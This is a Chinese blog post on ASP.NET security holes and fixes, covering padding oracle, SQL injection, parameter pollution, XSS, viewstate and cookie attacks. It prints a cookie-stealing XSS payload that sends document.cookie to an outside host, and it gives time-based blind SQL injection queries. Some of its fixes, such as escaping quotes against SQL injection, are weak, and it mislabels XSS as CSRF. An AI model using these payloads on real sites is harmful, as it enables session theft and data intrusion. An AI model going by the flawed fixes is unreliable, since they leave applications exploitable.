码迷,mamicode.com
首页 > 其他好文 > 详细

安全漏洞以及解决方法

时间:2014-06-23 08:05:36      阅读:440      评论:0      收藏:0      [点我收藏+]

标签:des   class   blog   code   http   tar   

一、Padding Oracle Vulnerability,填充甲骨文漏洞。原文:ScottGu的说明

老赵

 解决方法:1。添加报错页面。防止给黑客提示信息。

<configuration>
<system.web><customErrorsmode="On"redirectMode="ResponseRewrite"defaultRedirect="~/error.aspx"/></system.web>
</configuration>

 

2. Error页面睡眠一会,给黑客照成困难

<%@ Page Language="C#"AutoEventWireup="true"%>
<%@ Import Namespace="System.Security.Cryptography"%>
<%@ Import Namespace="System.Threading"%>
<script runat="server">  
 voidPage_Load() {     
 byte[] delay = newbyte[1];      
RandomNumberGenerator prng = newRNGCryptoServiceProvider();      prng.GetBytes(delay);      
Thread.Sleep((int)delay[0]);              
IDisposable disposable = prng asIDisposable;     
 if(disposable != null) { disposable.Dispose(); }    }
</script>

<html>
<head runat="server">    
    <title>Error</title>
</head>
<body>    
    <div> An error occurred whileprocessing your request.    </div>
</body>
</html>

 

 

 

二 、 sql 注入。方式有:

  1、传参url方式,直接得到querystring,然后查询数据库。

  2、文本框输入,如登陆。解决方 法:1..Replace("‘", "‘‘");单引号变成双引号2.用存储过程。

  3、如果不用存储过程,应该把每个传递用单引号包含进去。如 ‘"+querystring+"‘".

  原文:sql注入

三、参数污染

这个下面的xss攻击解决方法差不多,1.对参数进行验证。2.加引号

一下是在数据库验证前的过滤

  //参数不可以传逗号
        string name=Request["name"].Split(‘,‘)[0];
 
  //想传逗号,又想不参数污染的取值方法
 
        Hashtable argObj = new Hashtable();
        if (Request["name"] != null)
        {
            string[] sArgs = Request.QueryString.ToString().Split(‘&‘);
            for (int i = 0; i < sArgs.Length; i++)
            {
                string[] r = sArgs[i].Split(‘=‘);
                argObj[r[0].ToString()] = r[1];
            }
        }
//js方法 name=1&name=2 
//取第一个name=1
        function request(name) {
            name = name.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
            var regexS = "[\\?&]" + name + "=([^&#]*)";
            var regex = new RegExp(regexS);
            var results = regex.exec(window.location.href);
            if (results == null)
                return "";
            else
                return results[1];
        }
//取最后一个name=2 
          function argToObject() {
            var sArgs = location.search.slice(1).split(‘&‘);
            var argObj = {};
            for (var i = 0; i < sArgs.length; i++) {
                var r = sArgs[i].split(‘=‘)
                argObj[r[0]] = r[1]
            }
            return argObj
        }

四、 csrf跨站点请求伪造,1.可以理解为cookie劫持。

 <a href="fundzf.aspx?symbol=<%=strSymbol%>">基金分红与拆分</a>

?symbol="  onmouseover=window.open("http://www.baidu.com?cookie="%2Bdocument.cookie)  bad="

这样就可以 当把这个页面被点击的时候,客户的cookie就会被劫持

解决方案:对传过来的参数进行检查

2.<%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="WebForm2.aspx.cs"
    Inherits="WebApplication6.WebForm2" %>

<html>
<script runat="server">
    void btnSubmit_Click(Object sender, EventArgs e)
    {
        // If ValidateRequest is false, then ‘hello‘ is displayed
        // If ValidateRequest is true, then ASP.NET returns an exception
        Response.Write(txtString.Text);
    }
</script>
<body>
    <form id="form1" runat="server">
    <asp:TextBox ID="txtString" runat="server" Text="<script>alert(‘hello‘);</script>" />
    <asp:Button ID="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" />
    </form>
</body>
</html>

解决方案:1.升级.netframework,上面的代码在.netframework2.0中,可以执行,但是在4.0中就会报错。2.对用户输入的内容进行元字符过滤

 

s脚本中过滤特殊字符的正则表达式代码:
function stripscript(s) 

var pattern = new RegExp("[`~!@#$^&*()=|{}‘:;‘,\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“‘。,、?]") 
var rs = ""; 
for (var i = 0; i < s.length; i++) { 
rs = rs+s.substr(i, 1).replace(pattern, ‘‘); 

return rs; 

校验所有输入域是否含有特殊符号
/** 
* 校验所有输入域是否含有特殊符号 
* 所要过滤的符号写入正则表达式中,注意,一些符号要用‘\‘转义. 
* 试例: 
* if(checkAllTextValid(document.forms[0])) 
* alert("表单中所有文本框通过校验!"); 
*/ 
function checkAllTextValid(form) 

//记录不含引号的文本框数量 
var resultTag = 0; 
//记录所有text文本框数量 
var flag = 0; 
for(var i = 0; i < form.elements.length; i ++) 

if(form.elements[i].type=="text") 

flag = flag + 1; 
//此处填写所要过滤的特殊符号 
//注意:修改####处的字符,其它部分不许修改. 
//if(/^[^####]*$/.test(form.elements[i].value)) 
if(/^[^\|"‘<>]*$/.test(form.elements[i].value)) 
resultTag = resultTag+1; 
else 
form.elements[i].select(); 


/** 
* 如果含引号的文本框等于全部文本框的值,则校验通过 
*/ 
if(resultTag == flag) 
return true; 
else 

alert("文本框中不能含有\n\n 1 单引号: ‘ \n 2 双引号: \" \n 3 竖 杠: | \n 4 尖角号: < > \n\n请检查输入!"); 
return false; 

}

 

五。Unencrypted __VIEWSTATE parameter,viewstate 保存没有加密,解决方法

在web.config.中,system.web中加    <machineKey validation="3DES"/>

六。Cookie攻击的两种手段:

1,Cookie欺骗

  通过盗取、修改、伪造Cookie的内容来得到相应权限或者进行相应权限的操作。

2,Cookie注入

  利用Cookie进行数据库SQL注入,很多人注意过滤通过Get和Post方式获取的参数,但是却疏于过滤从Cookie获取的参数,这点是要引起注意的。

使用Cookie保存的数据

一 般不要用Cookie保存用户的个人信息,比如密码、邮箱等,但是如果想在用户链接到网站的时候,验证用户是否是上次登录的那个用户,可以用户每次登录成 功后,将一个随机密码发送到浏览器端保存(当然在服务器端数据库也要保存该字段,假如字段名为CookiePassword,注意与用户登录密码不同), 当用户再次登录时,首先验证用户发来的密码与CookiePassword字段(不是用户密码)中保存的是否一致,相同即可认为是上次正常登录的用户。

七。盲sql注入,Blind SQL Injection 解决方法和sql注入一样。

区别是,sql注入有错误的提示信息,盲sql只有对错,没有提示信息。

实例:1.通过实践判断 我们的盲sql对了没有,select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1

例如这个,时间会很长,记住时间。

select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1


 and 0>(select top 1ascii(substring(name,1,1)) from sysusers)

时间很短,说明盲sql没有得到想要的数据。

select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1


 and 300>(select top 1ascii(substring(name,1,1)) from sysusers)

时间长点,说明 我们得到了东西。

2.通过正则表达式达到目的,我们要用到like.

select  * from  sysusers where 页面的参数 and 1=(SELECT TOP 1 1 FROM sysusers WHERE  name LIKE ‘[a-z]%‘)

有返回值,说明我们正确

安全漏洞以及解决方法,布布扣,bubuko.com

安全漏洞以及解决方法

标签:des   class   blog   code   http   tar   

原文地址:http://www.cnblogs.com/jsonzheng/p/3799450.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!